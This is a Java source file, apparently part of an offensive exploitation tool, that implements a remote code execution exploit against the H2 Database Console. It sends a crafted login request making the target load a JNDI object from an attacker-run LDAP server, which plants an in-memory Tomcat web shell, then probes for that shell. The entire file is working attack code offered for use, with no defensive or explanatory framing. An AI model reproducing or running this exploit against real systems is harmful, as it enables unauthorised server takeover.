package com.drops.exp;

import com.drops.exp.util.H2DatabaseUtil;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;

/**
 * @ClassName: H2DatabaseConsoleJNDIRCEEXP
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/30 9:56
 * @Version: v1.0.0
 * @Description:
 **/
public class H2DatabaseConsoleJNDIRCEEXP {


    public  boolean hasH2DatabaseConsoleJNDIRCE(String target,String vps,String lport) {
//        MainController.lport.getText();
//        String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A1389%2Fbasic%2FTomcatMemshell3&user=&password=";
        String boby = "language=en&setting=Generic+H2+%28Server%29&name=Generic+H2+%28Server%29&driver=javax.naming.InitialContext&url=ldap%3A%2F%2F" + vps + "%3A" + lport + "%2Fbasic%2FTomcatMemshell3&user=&password=";
        String path = H2DatabaseUtil.getJsessionid(target);
        String url = target + "/h2-console/login.do?" + path;

        System.out.println(url);
        boolean flag = HTTPUtils.H2PostRequest(url,boby).isOk();
        if (flag){
            return flag;
        }else {
            if (HTTPUtils.getRequest(target,"ateam").isOk()){
                return true;
            }else {
                return false;
            }
        }

    }

    public static void main(String[] args) {
        String url = "http://127.0.0.1:9096/";
        H2DatabaseConsoleJNDIRCEEXP h2DatabaseConsoleJNDIRCEEXP= new H2DatabaseConsoleJNDIRCEEXP();
        h2DatabaseConsoleJNDIRCEEXP.hasH2DatabaseConsoleJNDIRCE(url,"127.0.0.1","1389");
    }
}
